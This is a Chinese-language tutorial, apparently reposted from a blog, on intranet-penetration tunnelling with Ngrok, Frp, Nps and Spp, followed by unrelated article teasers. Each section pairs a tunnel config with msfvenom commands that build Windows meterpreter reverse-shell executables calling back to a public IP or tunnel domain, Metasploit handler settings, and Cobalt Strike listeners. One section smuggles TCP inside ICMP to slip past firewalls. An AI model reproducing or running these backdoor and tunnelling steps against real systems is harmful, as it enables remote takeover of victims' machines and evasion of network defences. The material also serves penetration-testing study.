内网安全:内网穿透详解

目录

内网穿透技术

内网穿透原理

实验环境

内网穿透项目

内网穿透:Ngrok

配置服务端

客户端配置

客户端生成后门,等待目标上线

内网穿透:Frp

客户端服务端建立连接

MSF生成后门,等待上线

内网穿透:Nps

服务端搭建配置

客户端配置

MSF生成后门上线

内网穿透:Spp

服务端

客户端

CS配置

总结:内网穿透技术解决了和内网主机连接的问题


内网穿透技术

这个技术可以解决的问题:

  • 穿透:实现“内网”控制“内网”,内网主机上线。
  • 隧道:解决内网主机协议的限制,实现通讯,之后上线。

内网穿透原理

内网穿透(NAT traversal)是一种技术,用于实现公网与内网之间的通信连接。当内网中的设备无法直接从公网访问时,内网穿透技术可以通过一些手段,让公网上的设备能够穿透到内网中的设备,建立起通信连接。

内网穿透的原理可以简单描述如下:

  1. NAT(网络地址转换):在常见的网络环境中,内网通常由路由器或防火墙等设备进行网络地址转换(NAT),将内网中的私有IP地址转换为公网可路由的IP地址。这样,内网设备可以通过NAT设备与公网通信,但公网无法直接访问内网设备。

  2. 穿透技术:为了实现内网穿透,需要借助一些特定的技术手段,使公网上的设备能够访问到内网中的设备。常见的穿透技术包括:

    • 端口映射(Port Forwarding):通过在路由器上进行端口映射配置,将公网上的某个端口映射到内网中的设备,从而实现对该设备的访问。

    • 反向代理(Reverse Proxy):在公网上搭建一个反向代理服务器,将公网请求转发到内网中的设备上。公网设备与反向代理服务器建立连接后,由反向代理服务器将请求转发到内网设备,实现公网访问内网的功能。

    • VPN(Virtual Private Network):通过建立VPN连接,将公网和内网连接在一起,使得公网用户可以通过VPN隧道访问内网资源。VPN会创建一个虚拟的私有网络,将公网设备加入到该网络中,使其能够直接访问内网中的设备。

    • 云服务:一些云服务提供商提供了内网穿透的解决方案,用户可以通过这些云服务将内网设备暴露到公网上,以实现公网访问内网的需求。

实验环境

目标:xiaodi8.com上线Kali的CS

  • 公网主机:xiaodi8.com
  • 内网Kali:192.168.1.166

正向连接:Kali主动连接xiaodi8.com,可行

反向连接:xiaodi8.com连接Kali,不可行

为了解决反向连接的问题,需要使用内网穿透技术,实现外部主机连接进入内网。这就是内网技术的意义所在。

内网穿透项目

一般使用工具项目部署,穿透项目:Ngrok,Frp,Spp,Nps,EW(停止更新,不再维护,不推荐)

https://www.ngrok.cc
https://github.com/esrrhs/spp
https://github.com/fatedier/frp
https://github.com/ehang-io/nps
http://www.rootkiter.com/EarthWorm

优点:穿透加密数据,中间平台,防追踪,解决网络问题

内网穿透:Ngrok

项目地址:内网转发

免费版:仅支持三种协议,http,https,tcp

配置服务端

开通隧道,设置Kali内网IP,Port,以及服务器开放的端口

客户端配置

Kali执行客户端,这个过程相当于Kali主动连接域名

./sunny clientid 203828291918

客户端生成后门,等待目标上线

生成木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=10039 -f exe -o tcp.exe

开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 2233
run

目标上线

内网穿透:Frp

项目地址:https://github.com/fatedier/frp

需要一台服务器

frp是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。

客户端服务端建立连接

服务端

服务器修改配置文件frps.ini 隧道建立绑定在7000端口

[common] bind_port = 7000

启动服务端

./frps -c ./frps.ini

 客户端

修改配置文件frpc.ini   

隧道建立绑定在7000端口

服务端的6000端口受到数据会自动转发到本地的5555端口

[common] 
server_addr = 47.94.236.117 
server_port = 7000

[msf]
type=tcp
local_ip=127.0.0.1
local_port=5555
remote_port=6000

启动客户端

./frpc -c ./frpc.ini

客户端与服务端建立连接

MSF生成后门,等待上线

生成后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6000 -f exe -o frp.exe

开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit

上线

内网穿透:Nps

相当于服务端搭建一个ngrok

项目地址:https://github.com/ehang-io/nps

下载项目到服务器,它有一个客户端,一个服务端

nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
 

服务端搭建配置

安装nps

./nps install

运行nps

./nps

默认运行地址

http://IP:8080/

默认登录账号密码

admin/123

创建客户端,生成密匙

添加协议隧道,绑定指向

将访问服务器5566端口的流量发送至客户端的6666端口

客户端配置

连接服务端

./npc -server=47.94.236.117:8024 -vkey=uajwhbu9155qh89v  #创建客户端后自动生成密钥

MSF生成后门上线

生成后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=5566 -f exe -o nps.exe

监听本地6666

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 6666
run

上线

内网穿透:Spp

项目地址:GitHub - esrrhs/spp: A simple and powerful proxy

支持的协议:tcp、udp、udp、icmp、http、kcp、quic

支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理

在对抗项目中有遇到过一些极端环境,比如目标封了tcp,http等常用出网的协议,但是icmp,dns等协议可能因为业务需要或者管理者安全意识不到位导致没有封干净。

在这种场景下就可以使用这些容易被忽视的协议进行隧道的搭建。

服务端

服务端运行,监听本地的ICMP流量

./spp -type server -proto ricmp -listen 0.0.0.0

客户端

受控靶机运行,将本地5555端口流量转发至47.94.236.117 80端口上(TCP封装成ICMP)

spp -name “test” -type proxy_client -server 47.94.236.117 -fromaddr :5555 -toaddr :80 -proxyproto tcp -proto ricmp

服务端收到数据

CS配置

这个CS是运行在服务端的

创建两个监听器:

监听器1:http 47.94.236.117 8081

 
监听器2:http 127.0.0.1 8082 生成后门放到靶机上执行

上线,生成监听器2的木马,上线监听器1

总结:内网穿透技术解决了和内网主机连接的问题

区别于代理技术,隧道技术,三种技术都有解决通讯的问题,但是侧重不一样

代理技术可以把外网攻击机带进内网进行渗透

隧道技术解决了因为防火墙限制流量不出网的问题

内网穿透解决和内网主机建立连接的问题,可以远程访问内网的服务器

要根据不同使用场景来选择使用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/31411.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

三、Docker命令及基本使用

学习参考:尚硅谷Docker实战教程、Docker官网、其他优秀博客(参考过的在文章最后列出) 目录 前言一、帮助启动类命令1.1 启动docker1.2 停止docker1.3 重启docker1.4 查看docker状态1.5 开机启动1.6 查看docker概要信息1.7 查看docker总体帮助文档1.8 查看docker命令…

autoDL上A100运行wiki出错:NVIDIA A100-PCIE-40GB(最后安装好torch+dgl了);学校服务器加2.X版本pytorch

1、A100运行wiki出错:NVIDIA A100-PCIE-40GB with CUDA capability sm_80 is not compatible with the current PyTorch installation. The current PyTorch install supports CUDA capabilities sm_37 sm_50 sm_60 sm_70. If you want to use the NVIDIA A100-PCIE…

题集-栈和队列的相互转化

这里,队列的性质是先入先出,但是栈的性质是后入先出。两个队列就可以通过相互捯实现数据的后入先出。 typedef int QDataType; //这是一个队列结点的结构 typedef struct QueueNode { struct QueueNode* next; QDataType data; }QNode; //这是…

常见面试题之MySQL篇

1.MySQL中,如何定位慢查询? 我们当时做压测的时候有的接口非常的慢,接口的响应时间超过了2秒以上,因为我们当时的系统部署了运维的监控系统Skywalking,在展示的报表中可以看到是哪一个接口比较慢,并且可以分析这个接…

ChatGPT在前,华为盘古Chat在后

国产盘古Chat对话方面堪比GPT-3.5 什么是ChatGPT?简单来说,就是一个能够和人类自然对话的人工智能系统。它可以理解你的语言,回答你的问题,甚至给你提供建议和服务。它不仅可以处理文字,还可以处理图片、视频、音频等…

Web3 是什么?为何应该关注?

当我开始我的职业生涯时,“Web2.0”还是一个热门的新事物。 当我开始我的职业生涯时,正值互联网快速发展的时期,人们谈论的是“Web2.0”,这一概念引发了许多关于用户参与、社交媒体和在线合作的讨论。然而,随着时间的推…

DataStructure01|ArrayList和顺序表

ArrayList与顺序表 1.线性表 ​ 线性表(linear list)是n个具有相同特性的数据元素的有限序列。线性表是一种在实际中广泛使用的数据结构,常见的线性表:顺序表、链表、栈、队列… ​ 线性表在逻辑上是线性结构,也就说…

掌握Python的X篇_4_开发工具ipython与vscode的安装使用

本篇将会介绍两个工具的安装及使用来提高Python的编程效率。 ipython:比python更好用的交互式开发环境vscode:本身是文本编辑器,通过安装相关的插件vscode可以作为python集中开发环境使用 掌握Python的X篇_4_开发工具ipython与vscode的安装使…

ChatGPT/GPT-4 或将从根本上改变软件工程

文章目录 一、前言二、主要内容 🍉 CSDN 叶庭云:https://yetingyun.blog.csdn.net/ 一、前言 编程也可能是最容易被 AI 技术取代的工作之一,软件的构建方式将产生根本性的转变。 今年以来,相信大家都听说过 ChatGPT、New Bing 和…

Java try-catch块

Java的try块用于封装可能会抛出异常的代码。它必须在方法内部使用。 如果在try块中的特定语句处发生异常,后续的代码块将不会执行。因此,建议不要在try块中放置不会抛出异常的代码。 Java的try块必须后跟catch块或finally块。 Java try-catch语法 try…

chatgpt赋能python:Python绘制车辆轨迹图

Python绘制车辆轨迹图 在现代交通中,车辆轨迹图是一个广泛应用的技术,它可以被用于道路交通管理,行车安全评估等领域。Python是一种强大的编程语言,它提供了许多绘制数据可视化图表的库。本文将介绍如何使用Python和Matplotlib库…

Git的使用方法

文章目录 Git简介Git用法上传到gitee上 Git简介 简单来说,Git就像一个日志一样,可以帮你记录你对文本文件的修改,但他的功能又强于日志,不仅可以记录,还可以帮你存储那些你对文本文件的修改,当你想要找回之…

ArcGis系列-坐标系转换

Arcgis的工程项目可以添加各种类型的空间资源,比如数据库空间表、shp文件,每张空间表的坐标系可能都会有差异,把他们放到一个工程里时可以统一设置坐标系。 本文将介绍ArcGis三个需要坐标转换的场景: Arcgis Pro设置项目坐标GP分…

论文笔记--GPT-4 Technical Report

论文笔记--GPT-4 Technical Report 1. 报告简介2. 报告概括3 报告重点内容3.1 Predictable Scaling3.2 Capabilities3.3 limitations3.3 Risks & mitigations 4. 报告总结5. 报告传送门6. References 1. 报告简介 标题:GPT-4 Technical Report作者:…

【ABAP】数据类型(四)「类型组TYPE-POOL」

💂作者简介: THUNDER王,一名热爱财税和SAP ABAP编程以及热爱分享的博主。目前于江西师范大学本科在读,同时任汉硕云(广东)科技有限公司ABAP开发顾问。在学习工作中,我通常使用偏后端的开发语言ABAP,SQL进行任务的完成,对SAP企业管理系统,SAP ABAP开发和数据库具有较…

Mac安装chromedriver

一、chromedriver下载 1、打开chrome浏览器输入:chrome://settings/help 查看当前chrome版本     2、下载对应的chromedriver版本 下载地址:http://chromedriver.storage.googleapis.com/index.html 选择mac系统的chromedriver 直接解压该文件 3、…

SpringBoot使用MockMVC单元测试Controller

前言: 在SpringBoot应用程序中,Controller是接受客户端请求并返回响应数据的核心组件。为了保证Controller的正确性和稳定性,我们可以使用MockMVC框架进行单元测试。MockMVC是Spring框架提供的一个HTTP客户端,用于模拟HTTP请求和响…

华为云“企业快成长大数据与微服务技术创新论坛”成功举办

6月16日,由华为云、msup、厦门火炬大学堂、厦门市行业软件协会联合主办的“企业快成长大数据与微服务技术创新论坛”在厦门成功举办。本次活动汇聚了华为云、珍爱网等知名企业的CTO和技术专家,通过技术案例解析了大数据平台构建、微服务演进等内容&#…

Golang笔记:使用json包处理JSON数据

文章目录 目的Decoding(解析数据)Encoding(创建数据)总结 目的 JSON 是一种非常流行的数据交换格式,是JavaScript中原生支持的一种数据,因为其简单方便,所以也经常用在不同程序、不同语言间数据…

【FPGA入门】第七篇、FPGA实现VGA接口驱动

目录 第一部分、实验结果 1、横的三色彩条效果 2、竖的三色彩条效果 第二部分、VGA驱动基本知识 1、VGA分辨率问题 2、VGA驱动波形 2.1、工业标准的时序波形图 2.2、比上面那张图更容易理解的图 2.3、每个区域对应的时间 2.4、不同分辨率的表格 3、VGA扫描范…